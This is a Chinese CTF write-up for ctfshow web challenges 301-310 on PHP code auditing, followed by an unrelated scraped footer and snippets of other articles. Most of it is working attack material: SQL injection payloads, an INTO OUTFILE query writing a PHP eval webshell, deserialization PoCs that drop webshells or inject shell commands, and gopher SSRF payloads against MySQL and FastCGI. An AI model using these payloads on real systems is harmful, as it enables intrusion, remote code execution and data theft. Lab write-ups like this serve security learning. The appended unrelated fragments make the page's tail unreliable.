ctfshow web入门 代码审计

2023-10-31

web301

下载源码后在checklogin.php发现问题代码

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}
$_SESSION['error']="1";
header("location:login.php");
?>

这里有一句完全没过滤的sql查询语句,而username是我们可控的,再看它下面的逻辑,会将查询到的用户名和密码比较,如果用户名和密码相同就登陆成功。

strcasecmp(string1,string2)
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。

该函数返回:

0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

那这里就可以用联合查询让username返回1

payload:

userid=-1' union select 1%23&userpwd=1

或者也可以用sqlmap去跑

web302

修改了代码的一个地方

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

直接写马即可,虽然经过sds_decode()函数的处理,但是他的sql语句已经执行了

payload:

userid=-1' union select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/a.php"#&userpwd=1

web303

先用弱口令admin/admin,诶,直接进去了,但是并没有flag,审计下载的源码,在dptadd.php发现注入点

<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}
	
	 }
?>

这里可以在insert插入时注入。

payload:

dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=

dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=

dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=

web304

增加了waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是上题payload还是能用,只是把表名从sds_fl9g换成sds_flaag

web305

class.php中存在反序列化点,直接写马,在checklogin.php中传入

//class.php
<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

//checklogin.php
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
require 'class.php';
$user_cookie = $_COOKIE['user'];

poc:

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}

$a = new user('1.php','<?php @eval($_POST[a]);?>');
echo urlencode(serialize($a));

然后在burp中抓包打
在这里插入图片描述
用蚁剑连接时要注意把cookie加上,否则连接不上,然后连接数据库,在数据库中获取flag
请添加图片描述

web306

mvc结构,先找危险函数,在class.php中发现file_put_contents()

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

那么继续找在哪里调用了这个close()函数,可以发现在dao.php中调用

class dao{
	private $config;
	private $conn;
	
	public function __destruct(){
		$this->conn->close();
	}
}

最后只剩一个利用点,在index.php中,

<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));

且正好index.php中包含了dao.phpdao.php中包含了class.php

poc:

<?php
class dao{
    private $conn;
    public function __construct(){
        $this->conn=new log();
    }
}

class log{
    public $title='1.php';
    public $info='<?php @eval($_POST[a]); ?>';
}

$a = new dao();
echo base64_encode(serialize($a));

web307

下载源码后发现把上一题的关键函数close()换成了closelog(),不能再用上一题的思路。
还是先找危险函数,发现shell_exec()

class dao{
	private $config;
	private $conn;
	
	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}
}

因为是拼接的,在config.php中可以找到这个变量

class config{
	public $cache_dir = 'cache';
}

正好在dao.php中包含了config.php,那么就可以利用这个来rce,有两个反序列化的地方:login.php和logout.php,比较后发现logout.php中直接调用了clearCache()

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
	$service->clearCache();
}

poc:

<?php

class config
{
    public $cache_dir = ';cat /var/www/html/flag.php > /var/www/html/3.txt;';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

web308

发现上一题的rce处加了正则,利用不了,要寻找新的利用点
在fun.php中,发现了ssrf的利用点

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

全局搜索一下checkUpdate()函数,发现在dao.php中使用到

//dao.php
public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

且在config.php中,mysql数据库无密码,网址可控

<?php

class config{
	private $mysql_username='root';
	private $mysql_password='';
	private $mysql_db='sds';
	private $mysql_port=3306;
	private $mysql_host='localhost';
	public $cache_dir = 'cache';
	public $update_url = 'https://vip.ctf.show/version.txt';

因此用gopherus生成payload
请添加图片描述
poc:

<?php

class config
{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

web309

这题的mysql有密码了,不能再像上一题一样利用gopher协议ssrf,可以通过gopher协议的延时判断为打的是fastcgi

gopher://127.0.0.1:9000

继续用gopherus生成payload
请添加图片描述
poc:

<?php

class config
{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

web310

可以先读配置文件

poc:

<?php

class config
{
    public $update_url = 'file:///etc/nginx/nginx.conf';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

看到4476端口是被监听的,且存在flag
请添加图片描述
那么直接访问即可
poc:

<?php

class config
{
    public $update_url = 'http://127.0.0.1:4476';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow web入门 代码审计 的相关文章

  • 如何上传图像代码并将路径保存到mysql数据库中

    如何编写代码上传图像并将路径保存到mysql数据库中 我已经尝试过 但没有一个有效 一种方法是上传图像并将其存储在服务器上的文件夹中 并将名称保存到 mysql 数据库中 这是一个例子 首先我们将创建一个用于上传的表单 文件 html Up
  • 调用未定义的函数 MYSQL_NUM_ROWS() [重复]

    这个问题在这里已经有答案了 我正在尝试使用 php 验证登录 但收到此错误 致命错误 未捕获错误 调用 opt lampp htdocs social index php 100 中未定义的函数 MYSQL NUM ROWS 堆栈跟踪 0
  • 使用计数器作为变量名称的一部分来访问变量

    我尝试做类似的事情 cat1 array hello everyone cat array bye everyone for index 0 index lt 2 index echo cat index 1 当然是行不通的 我需要在这里改
  • 如何让 mysql 输出 DateTime 到儒略日数?

    基本上我正在使用用于 Ruby 的 MySQL gem http www tmtm org en mysql ruby 并且我对日期比较没有合理的支持 这Mysql Time类只为我提供了访问器方法 如年 月 秒等 如果我可以将其转换为 R
  • 创建用于存储高尔夫球成绩的可扩展数据库架构

    我正在尝试设计一个数据库来存储我所有的朋友和我的高尔夫球成绩 您可能知道 高尔夫得分由 18 洞的个人得分组成 我可以想到两种设计模式的方法 创建一个表 每个洞有一列 例如 h1 到 h18 该表具有引用其他表的 FK player id
  • 递归替换多维数组中特定键每次出现的值

    我有一个数组 其数组深度可能会有所不同 例如 array one gt array array something gt value array something2 gt value2 another gt anothervalue tw
  • 自动解析 PHP,将 PHP 代码与 HTML 分离

    我正在开发一个大型 PHP 代码库 我想将 PHP 代码与 HTML 和 JavaScript 分开 我需要对 PHP 代码进行多次自动搜索和替换 对 HTML 进行不同的搜索和替换 对 JS 进行不同的自动搜索和替换 有没有一个好的解析器
  • PHP preg_match_all 100 MB 文件

    我读到 preg match all 不是为解析大文件而设计的 但我需要这样做 我增加了 pcre backtrack limit 1000000000 pcre recursion limit 1000000000 我的 PHP memo
  • PHP 中比较运算符“==”的混淆

    In PHP null 0 0 0 如果将这两者结合起来 您会期望 null 0 但是这是错误的 有人可以向我解释一下吗 在第一种情况下 null 0 null评估为false 与 一样0其评估结果为false 所以两者都是false所以比
  • Doctrine 生成实体命名空间问题?

    好吧 我对原则有最后一个问题 生成 实体命令 我运行以下命令 并得到预期的文件 src MyNamespace Bundle MyNamespaceBundle Resources config doctrine metadata orm
  • PHP根据给定索引的匹配值合并数组[重复]

    这个问题在这里已经有答案了 我有两个这样的数组 Array1 Array 0 gt Array ID gt 101 Code gt 1075 Date gt 2012 03 03 17 13 12 433 1 gt Array ID gt
  • 获取MySql中重复行的列表

    我有一张这样的桌子 ID nachname vorname 1 john doe 2 john doe 3 jim doe 4 Michael Knight 我需要一个查询 该查询将从具有相同 nachname 和 vorname 的记录
  • 使用 PHP 比较两个字符串的相似度

    嘿伙计们 我想寻求一些解决方案 现在我有字典了单词 txt 这里有一些例子 happy laugh sad 我有俚语字符串 hppy 我想要搜索和匹配那个俚语字符串我的字典这意味着它将返回 happy 因为这些字符串参考 快乐 in 字典
  • 如何在 PHP 中使用 foreach 循环仅回显一次特定的多个相同记录?

    我在 PHP 中使用 foreach 循环得到这些输出 现在 foreach 内部的输出如下所示 PHP代码 table thead tr th ACCOUNT NUMBER th th CATEGORY th th AMOUNT th t
  • 在 PHP 中设置通知的 FCM 通道 ID

    我正在尝试使用 PHP 向 Android 设备发送 FCM 通知 我的代码适用于 Android O 之前的设备 在Android O中 我们还需要在请求中设置通道ID来接收通知 我不知道该怎么做 我已在应用程序中完成了必要的设置 并使用
  • 使用外部硬盘写入和存储 mysql 数据库

    我已经设置了 mysql 数据库在我的 Mac 上使用 java 和 eclipse 运行 它运行得很好 但现在我将生成大约 43 亿行数据 这将占用大约 64GB 的数据 我存储了大量的密钥和加密值 我有一个 1TB 外部我想用作存储位置
  • 在仅包含键的字符串的嵌套数组中查找值

    我有一个数组 其中包含一些设置 基本上如下所示 defaults array variable gt value thearray gt array foo gt bar myvar gt array morevars gt moreval
  • PHP Soap Server:使用字符串(xml 字符串)而不是 WSDL 文件(指向它的 url)实例化

    Soap Server的PHP页面 我见过 http www php net manual en soapserver soapserver php http www php net manual en soapserver soapser
  • 在订单项目视图中显示自定义产品数据

    我在添加到购物车时遇到问题 我有一个具有不同定制条件的产品可供选择 当客户选择特定选项时 它添加到购物车 当客户选择另一种选择并添加时 它显示为购物车中的第二件商品 这没关系 但付款后 订单在第 1 项和第 2 项下均显示自定义选项 但没有
  • MySQL REPLACE 在自动递增行中

    假设我有一个 MySQL 表 其中包含三列 id a and b和名为id is an AUTO INCREMENT场地 如果我将如下查询传递给 MySQL 它将正常工作 REPLACE INTO table id a b VALUES 1

随机推荐

  • python自动化:系统凭据的获取与添加

    在自动化流程开发中 我们经常会遇到输入帐号 密码的情况 帐号明文还可以 但是密码不想展示给他人 但是不想自己去手动输入怎么办 基于以上情况我们可以使用windows自带的凭据管理器进行密码存储 其实我们经常用的git也存储在这里 首先搜索
  • shader里的uv是什么

    shader里的uv是什么 前言 先看一段shadertoy大牛写的代码 vec3 getPixel in vec2 coord float time vec2 uv coord iResolution xy uv uv 2 0 1 0 u
  • 考研数学基础30讲

    基础30讲 第1讲 高等数学预备知识 一 函数的概念与特性 1 函数 2 反函数 3 复合函数 4 函数的四种特性 第1讲 高等数学预备知识 一 函数的概念与特性 1 函数 设x与y是两个变量 D是一个给定的数集 若对于每个值x in D
  • JavaScript中的设计原则

    文章目录 一 单一职责原则 1 运用了单一职责 SRP 的设计模式 2 何时应该分离职责 3 优缺点 二 最少知识原则 1 运用了最少知识原则的设计模式 三 开放 封闭原则 1 运用了开放 封闭原则的设计模式 2 接受第一次愚弄 三 接口和
  • 1010 Radix (25 分)

    题目 题目链接 题解 二分 数学 先说几点注意事项 开 LL 最高进制不是35 可以更高 枚举可能的进制时存在爆LL的情况 整体思路 先计算出知道进制的那个数对应的十进制数 二分进制 找到某个进制使得另一个数对应的十进制数与已知的十进制数相
  • 异步信号的去抖电路及同步电路

    异步输入的问题 如果电路有异步信号 就可能使电路进入亚稳态 因为异步信号可能处于时钟信号建立时间以内 即是输出不确定的状态 去抖电路 异步信号如果是外部的机械输入 比如键盘等 输入信号就会产生机械性地振荡 因此首先需要对此类异步信号加一个去
  • 计算机网络-网络层

    网络层 1 前言 2 网络层的作用 3 网络层数据交换 4 网络层协议及报文格式 5 ARP与RARP 6 国际控制报文协议ICMP 1 前言 网络层介于传输层和数据链路层之间 其主要作用是实现两个网络系统之间的数据透明传送 具体包括路由选
  • openpyxl空值填充、分列、单元格百分比格式显示

    还是之前的日报 处理一个xlsx文件 需求描述如下 不多说 上代码 import openpyxl as op import time lxwb i1 op load workbook 文件路径 5GR I1 15个对象属性空值核对 s x
  • 【计量统计】计量经济学导论常见公式原理及习题解答

    关键词 Stata 计量经济学 习题解答 一 简单二元回归模型 y b 0 b 1
  • 电脑计算机推荐笔记本电脑,十佳办公笔记本电脑排名,性价比高的笔记本电脑推荐...

    商务人士人手必备一台办公笔记本 这样在需要的时候 随时都能办公 当然选择笔记本最重要的是性能好 要方便携带 这里有十大最优质的办公笔记本推荐 足够高的性价比 方便你随身携带随时办公 成为一位优秀的商务人士 1 华硕灵耀S4300FN 这款笔
  • 云孚科技受邀参加第二十二届中国计算语言学大会(CCL 2023)

    云孚科技 CCL 2023 中国计算语言学大会 2023年8月3日 8月6日 第二十二届中国计算语言学大会 CCL 2023 在哈尔滨市成功举行 本次大会由中国中文信息学会主办 哈尔滨工业大学承办 涵盖计算语言学领域最新技术和动向 为与会专
  • 中小型企业网络规划设计方案_实战:企业网络系统规划与设计与事项

    某大中型企业 有多个部门 财务部 人事部 销售部 工程部 同部门之间采用二层交换网络相连 不同部门之间采用VLAN路由方式互访 企业有一台内部web服务器 承载着内部网站 方便员工了解公司的即时信息 局域网路由器启用多种路由协议 静态路由
  • 禁止缩放meta标签

    转载于 https www cnblogs com LiuJL p 10977907 html
  • [1149]RabbitMQ CPU 占用过高优化

    文章目录 背景 问题排查 error logger 问题 erlang 调度器问题 总结 背景 服务器上搭建的 RabbitMQ 在并发量不是很大的情况下 CPU 占用竟然达到了 40 左右 这种情况第一感觉是不科学的 推测应该是使用不当或
  • 电脑上编辑文件打字时页面乱跳解决方法

    问题描述 在网页上编写文章 执行复制 粘贴或者换行等操作时 会出现页面滑动的情况 而光标在编辑的文案中的位置却没变 原因分析 设置了鼠标灵敏度 解决方案 步骤1 打开控制面板 步骤2 在右上方输入鼠标或点击硬件与声音 点击鼠标 步骤3 在鼠
  • 离散数学4_第5章关系与函数__关系矩阵

    关系矩阵的 定义 注意这里 m n阶的矩阵 是指m 行 n列的 矩阵 如果行 列相等 称为方阵
  • textarea 光标位置相关

    textarea cursor postion 兼容 i8 通过 本案例的对于文本域的处理以后就可以 扩展使用了 功能 本文主要的内容是介绍了 在文本域中 光标的位置获取 被选中文本的位置获取 start end 以及在光标位置插入文本 或
  • python寻找相似用户_基于用户相似性的协同过滤——Python实现

    coding utf 8 importrandom mathfrom operator importitemgetterclassUserBasedCF def init self trainDataFile None testDataFi
  • 【Unity问题&错误】list问题

    error CS0305 Using the generic type System Collections Generic List
  • ctfshow web入门 代码审计

    文章目录 web301 web302 web303 web304 web305 web306 web307 web308 web309 web310 web301 下载源码后在checklogin php发现问题代码